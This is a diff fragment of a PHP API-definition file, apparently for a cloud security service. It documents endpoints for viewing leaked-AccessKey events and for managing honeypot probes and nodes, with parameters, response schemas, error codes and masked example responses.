+ 'description' => 'GitHub仓库地址。', + 'type' => 'string', + 'example' => 'https://github.com/Blue00Blue/ExamOn****', + ], + 'TokenValid' => [ + 'description' => 'AK关联的密钥有效性。取值：'."\n" + ."\n" + .'- **0**：待确认'."\n" + .'- **1**：有效'."\n" + .'- **2**：无效', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'WhitelistTime' => [ + 'description' => 'AK白名单添加时间。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1689172004478', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Type\\": \\"AccessKey\\",\\n \\"GithubUserPicUrl\\": \\"https://avatars.githubusercontent.com/u/26296896?s=48&v=****\\",\\n \\"GithubUser\\": \\"Blue00Blue\\",\\n \\"GithubRepoName\\": \\"ExamOnline\\",\\n \\"GithubFileType\\": \\"Python\\",\\n \\"Remark\\": \\"12\\",\\n \\"GithubFileUpdateTime\\": \\"2021-07-06T09:49:33\\",\\n \\"WhitelistStatus\\": \\"no\\",\\n \\"GithubFileName\\": \\"testAkLeak\\",\\n \\"Source\\": \\"GitHub\\",\\n \\"GmtModified\\": \\"2021-07-06 17:49:39\\",\\n \\"Asset\\": \\"云平台\\",\\n \\"DealTime\\": \\"2022-01-17 15:47:08\\",\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"AccesskeyId\\": \\"yourAccessKeyID\\",\\n \\"GithubFileUrl\\": \\"https://github.com/Blue00Blue/ExamOnline/blob/6c932c10fc3f217783f3937e2b230f79656c18a7/testAk****\\",\\n \\"DealType\\": \\"add-whitelist\\",\\n \\"Code\\": \\"\\\\\\\\n1231 \\\\\\\\nak=yourAccessKeyID \\\\\\\\n12311123 \\\\\\\\nsk1999 \\\\\\\\nsk1999sk1999 \\\\\\\\nsk1999sk1999 \\\\\\\\n\\\\\\\\n\\\\\\\\ntest001 ak hht \\\\\\\\nak=yourAccessKeyID \\\\\\\\nsk=yourAccessKeySecret\\",\\n \\"GmtCreate\\": \\"2021-07-06 17:49:41\\",\\n \\"GithubRepoUrl\\": \\"https://github.com/Blue00Blue/ExamOn****\\",\\n \\"TokenValid\\": 2,\\n \\"WhitelistTime\\": 1689172004478\\n}","errorExample":""},{"type":"xml","example":"\\n AccessKey\\n https://avatars.githubusercontent.com/u/26296896?s=48&v=****\\n Blue00Blue\\n ExamOnline\\n Python\\n 12\\n 2021-07-06T09:49:33\\n no\\n testAkLeak\\n GitHub\\n 2021-07-06 17:49:39\\n 云平台\\n 2022-01-17 15:47:08\\n 79CFF74D-E967-5407-8A78-EE03B925FDAA\\n LTAI4G4VjkC9wenfEvgX****\\n https://github.com/Blue00Blue/ExamOnline/blob/6c932c10fc3f217783f3937e2b230f79656c18a7/testAk****\\n add-whitelist\\n \\\\n1231 \\\\nak=LTAI4G4VjkC9wenfEvgX**** \\\\n12311123 \\\\nsk1999 \\\\nsk1999sk1999 \\\\nsk1999sk1999 \\\\n\\\\n\\\\ntest001 ak hht \\\\nak=LTAI4G4VjkC9wenfEvgX**** \\\\nsk=AjEhS9XmnIzllpAx2LxMTMdrTG****\\n 2021-07-06 17:49:41\\n https://github.com/Blue00Blue/ExamOn****\\n","errorExample":""}]', + 'title' => '查看AccessKey泄露事件详情', + ], + 'DeleteHoneypotProbeBind' => [ + 'summary' => 'Delete the probe service.', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'ProbeId', + 'in' => 'query', + 'schema' => [ + 'title' => '探针id', + 'description' => '探针ID。'."\n" + .'>调用[ListHoneypotProbe](~~ListHoneypotProbe~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'aa234650-cfcf-4e25-b61f-c58f603f****', + ], + ], + [ + 'name' => 'BindId', + 'in' => 'query', + 'schema' => [ + 'title' => '服务绑定id', + 'description' => '绑定服务记录的唯一ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'aa20815f-f0f3-4e3b-8e13-55771742****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除探针服务', + ], + 'GetHoneypotAttackStatistics' => [ + 'summary' => '获取蜜罐攻击源的攻击事件统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '158253', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SrcIp', + 'in' => 'query', + 'schema' => [ + 'title' => 'source ip', + 'description' => '攻击源IP。', + 'type' => 'string', + 'required' => true, + 'example' => '47.92.139.**', + ], + ], + [ + 'name' => 'StatisticsType', + 'in' => 'query', + 'schema' => [ + 'title' => 'statistics type', + 'description' => '攻击源统计信息的类型。取值：'."\n" + ."\n" + .'- **TOP_ATTACKED_AGENT**：被攻击次数top 5的探针。'."\n" + .'- **TOP_ATTACKED_IP**：被攻击次数top 5的IP地址。'."\n" + .'- **ATTACK_EVENT_TYPE**：入侵事件类型。'."\n" + .'- **ATTACK_HONEYPOT_TYPE**：被入侵蜜罐类型。', + 'type' => 'string', + 'required' => true, + 'example' => 'TOP_ATTACKED_IP', + ], + ], + [ + 'name' => 'StartTimeStamp', + 'in' => 'query', + 'schema' => [ + 'title' => 'start time', + 'description' => '开始时间，timestamp格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1681624877761', + ], + ], + [ + 'name' => 'EndTimeStamp', + 'in' => 'query', + 'schema' => [ + 'title' => 'end time', + 'description' => '结束时间，timestamp格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1675058931215', + ], + ], + [ + 'name' => 'RiskLevelList', + 'in' => 'query', + 'style' => 'flat', + 'schema' => [ + 'title' => 'risk level', + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **2**：低风险等级。'."\n" + .'- **3**：中风险等级。'."\n" + .'- **4**：高风险等级。', + 'type' => 'string', + 'required' => false, + 'example' => '2', + ], + 'required' => false, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。起始值为**1**。默认值为**1**，表示从第**1**页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示数据最大条数。每页默认显示的数据条数为20条，pagesize参数值为空时，将默认返回20条数据。>建议pagesize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '统计信息数据。', + 'type' => 'object', + 'properties' => [ + 'StatisticsType' => [ + 'title' => 'statistics type', + 'description' => '攻击源统计信息的类型。取值：'."\n" + ."\n" + .'- **TOP_ATTACKED_AGENT**：被攻击次数top 5的探针。'."\n" + .'- **TOP_ATTACKED_IP**：被攻击次数top 5的IP地址。'."\n" + .'- **ATTACK_EVENT_TYPE**：入侵事件类型。'."\n" + .'- **ATTACK_HONEYPOT_TYPE**：被入侵蜜罐类型。', + 'type' => 'string', + 'example' => 'TOP_ATTACKED_IP', + ], + 'Count' => [ + 'title' => 'statistics item count', + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'HoneypotAttackStatistics' => [ + 'title' => 'statistics list', + 'description' => '统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '统计信息详情。', + 'type' => 'object', + 'properties' => [ + 'StatisticsValue' => [ + 'description' => '统计值。', + 'type' => 'string', + 'example' => '112.168.1.**', + ], + 'StatisticsCount' => [ + 'description' => '统计值的次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3FACC60A-3FE4-5F49-9184-50730C8B****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"StatisticsType\\": \\"TOP_ATTACKED_IP\\",\\n \\"Count\\": 2,\\n \\"HoneypotAttackStatistics\\": [\\n {\\n \\"StatisticsValue\\": \\"112.168.1.**\\",\\n \\"StatisticsCount\\": 10\\n }\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"3FACC60A-3FE4-5F49-9184-50730C8B****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐攻击源的攻击事件统计信息', + ], + 'GetHoneypotStatistics' => [ + 'summary' => '获取蜜罐使用量的统计数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '蜜罐使用情况统计数据。', + 'type' => 'object', + 'properties' => [ + 'TotalProbeCount' => [ + 'title' => '总探针数量', + 'description' => '授权的总探针数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '40', + ], + 'UsedProbeCount' => [ + 'title' => '已使用探针数量', + 'description' => '已部署探针数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'UsedHostProbeCount' => [ + 'title' => '已部署主机探针数量', + 'description' => '已部署主机探针数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'UsedVpcProbeCount' => [ + 'title' => '已部署VPC探针数量', + 'description' => '已部署VPC探针数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'TotalHoneypotCount' => [ + 'title' => '总蜜罐数量', + 'description' => '总蜜罐数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'UsedHoneypotCount' => [ + 'title' => '已部署蜜罐数量', + 'description' => '已部署蜜罐数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'TotalNodeStatus' => [ + 'description' => '管理节点整体健康状态。取值：'."\n" + ."\n" + .'- 1：正常运行'."\n" + .'- 2：异常', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'EB7181CB-32F3-5189-A935-4E24DD1A****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TotalProbeCount\\": 40,\\n \\"UsedProbeCount\\": 15,\\n \\"UsedHostProbeCount\\": 9,\\n \\"UsedVpcProbeCount\\": 6,\\n \\"TotalHoneypotCount\\": 20,\\n \\"UsedHoneypotCount\\": 7,\\n \\"TotalNodeStatus\\": 1\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"EB7181CB-32F3-5189-A935-4E24DD1A****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐使用量的统计数据', + ], + 'ListAvailableHoneypot' => [ + 'summary' => '查询可用蜜罐配置模板。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐管理节点唯一ID', + 'description' => '蜜罐管理节点ID。', + 'type' => 'string', + 'required' => false, + 'example' => '4341018b-8e01-43f6-b1d2-af29a2a4****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '蜜罐镜像信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'HoneypotImageName' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'ruoyi', + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像展示名称', + 'description' => '蜜罐镜像展示名称。', + 'type' => 'string', + 'example' => 'RuoYi', + ], + 'HoneypotImageId' => [ + 'title' => '蜜罐镜像ID', + 'description' => '蜜罐镜像ID。', + 'type' => 'string', + 'example' => 'sha256:007095d6de9c7a343e9fc1f74a7efc9c5de9d5454789d2fa505a1b3fc62****', + ], + 'HoneypotImageVersion' => [ + 'title' => '蜜罐镜像版本', + 'description' => '蜜罐镜像版本。', + 'type' => 'string', + 'example' => '1.0.2', + ], + 'HoneypotImageType' => [ + 'title' => '蜜罐镜像类型', + 'description' => '蜜罐镜像类型。', + 'type' => 'string', + 'example' => 'Web', + ], + 'Proto' => [ + 'title' => '蜜罐支持的协议', + 'description' => '蜜罐支持的协议。', + 'type' => 'string', + 'example' => 'tcp', + ], + 'ServicePort' => [ + 'title' => '蜜罐服务端口', + 'description' => '蜜罐服务端口。', + 'type' => 'string', + 'example' => '27017.0', + ], + 'Multiports' => [ + 'title' => '蜜罐支持的端口', + 'description' => '蜜罐支持的端口。为JSON格式。包含以下字段：'."\n" + ."\n" + .'- **log_type**：日志类型'."\n" + .'- **proto**：支持协议'."\n" + .'- **description**：说明'."\n" + .'- **ports**：支持端口集合'."\n" + .'- **port_str**：支持端口字符串'."\n" + .'- **type**：类型', + 'type' => 'string', + 'example' => '[{"log_type":"web","proto":"tcp","description":"webServerPort","ports":[80.0],"port_str":"80","type":"web"}]', + ], + 'Template' => [ + 'title' => '蜜罐配置参数模板', + 'description' => '蜜罐配置参数模板。', + 'type' => 'string', + 'example' => '{}', + ], + ], + ], + ], + 'Count' => [ + 'description' => '蜜罐镜像信息数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6C24D883-984D-52FD-BB66-5F89F86E4837', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"HoneypotImageName\\": \\"ruoyi\\",\\n \\"HoneypotImageDisplayName\\": \\"RuoYi\\",\\n \\"HoneypotImageId\\": \\"sha256:007095d6de9c7a343e9fc1f74a7efc9c5de9d5454789d2fa505a1b3fc62****\\",\\n \\"HoneypotImageVersion\\": \\"1.0.2\\",\\n \\"HoneypotImageType\\": \\"Web\\",\\n \\"Proto\\": \\"tcp\\",\\n \\"ServicePort\\": \\"27017.0\\",\\n \\"Multiports\\": \\"[{\\\\\\"log_type\\\\\\":\\\\\\"web\\\\\\",\\\\\\"proto\\\\\\":\\\\\\"tcp\\\\\\",\\\\\\"description\\\\\\":\\\\\\"webServerPort\\\\\\",\\\\\\"ports\\\\\\":[80.0],\\\\\\"port_str\\\\\\":\\\\\\"80\\\\\\",\\\\\\"type\\\\\\":\\\\\\"web\\\\\\"}]\\",\\n \\"Template\\": \\"{}\\"\\n }\\n ],\\n \\"Count\\": 22,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"6C24D883-984D-52FD-BB66-5F89F86E4837\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询可用蜜罐配置模板', + ], + 'CreateHoneypotNode' => [ + 'summary' => '新增蜜罐管理节点信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'NodeName', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点名称', + 'description' => '管理节点名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'manageNode', + ], + ], + [ + 'name' => 'AvailableProbeNum', + 'in' => 'query', + 'schema' => [ + 'title' => '可用探针数量', + 'description' => '可用探针数量。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'AllowHoneypotAccessInternet', + 'in' => 'query', + 'schema' => [ + 'title' => '是否允许蜜罐访问外网', + 'description' => '是否允许蜜罐访问外网。取值：'."\n" + ."\n" + .'- **true**：允许'."\n" + .'- **false**：禁止', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'SecurityGroupProbeIpList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '放行网段集合。', + 'type' => 'array', + 'items' => [ + 'description' => '放行网段。', + 'type' => 'string', + 'required' => false, + 'example' => '0.0.0.0/0', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'HoneypotNode' => [ + 'description' => '创建蜜罐管理节点返回数据。', + 'type' => 'object', + 'properties' => [ + 'NodeId' => [ + 'description' => '管理节点ID。', + 'type' => 'string', + 'example' => '37a15ff1-3475-4897-aa6c-f7fd9122****', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidParam', + 'errorMessage' => 'There was an error with your request.', + ], + [ + 'errorCode' => 'NeedBuy', + 'errorMessage' => 'This service shoule be purchased first.', + ], + [ + 'errorCode' => 'AuthorizedProbeCannotReduce', + 'errorMessage' => 'The number of authorized probes cannot be reduced.', + ], + [ + 'errorCode' => 'InvalidProbeNum', + 'errorMessage' => 'Invalid number of probes.', + ], + [ + 'errorCode' => 'ProbeNumInsufficient', + 'errorMessage' => 'The number of probes remaining is insufficient.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'Service error, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"HttpStatusCode\\": 200,\\n \\"HoneypotNode\\": {\\n \\"NodeId\\": \\"37a15ff1-3475-4897-aa6c-f7fd9122****\\"\\n }\\n}","type":"json"}]', + 'title' => '创建蜜罐管理节点', + ], + 'UpdateHoneypotNode' => [ + 'summary' => '更新指定的蜜罐管理节点。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'NodeName', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点名称', + 'description' => '管理节点名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'HoneypotNodeTest', + ], + ], + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点id', + 'description' => '管理节点ID。'."\n" + .'>调用[ListHoneypotNode](~~ListHoneypotNode~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '67ab3f4c-3db5-4fc3-b51f-00f8bfabfa08', + ], + ], + [ + 'name' => 'SecurityGroupProbeIpList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '放行网段集合。', + 'type' => 'array', + 'items' => [ + 'description' => '放行网段。', + 'type' => 'string', + 'required' => false, + 'example' => '10.0.0.0/24', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'AvailableProbeNum', + 'in' => 'query', + 'schema' => [ + 'description' => '可用探针数量。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '753D92B3-A062-544F-8E7B-C813AA9FA9FC', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidParam', + 'errorMessage' => 'There was an error with your request.', + ], + [ + 'errorCode' => 'NeedBuy', + 'errorMessage' => 'This service shoule be purchased first.', + ], + [ + 'errorCode' => 'AuthorizedProbeCannotReduce', + 'errorMessage' => 'The number of authorized probes cannot be reduced.', + ], + [ + 'errorCode' => 'InvalidProbeNum', + 'errorMessage' => 'Invalid number of probes.', + ], + [ + 'errorCode' => 'ProbeNumInsufficient', + 'errorMessage' => 'The number of probes remaining is insufficient.', + ], + [ + 'errorCode' => 'NodeNotExist', + 'errorMessage' => 'The control node does not exist.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'Service error, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"753D92B3-A062-544F-8E7B-C813AA9FA9FC\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '更新蜜罐管理节点', + ], + 'ListHoneypotNode' => [ + 'summary' => '查询蜜罐节点信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], 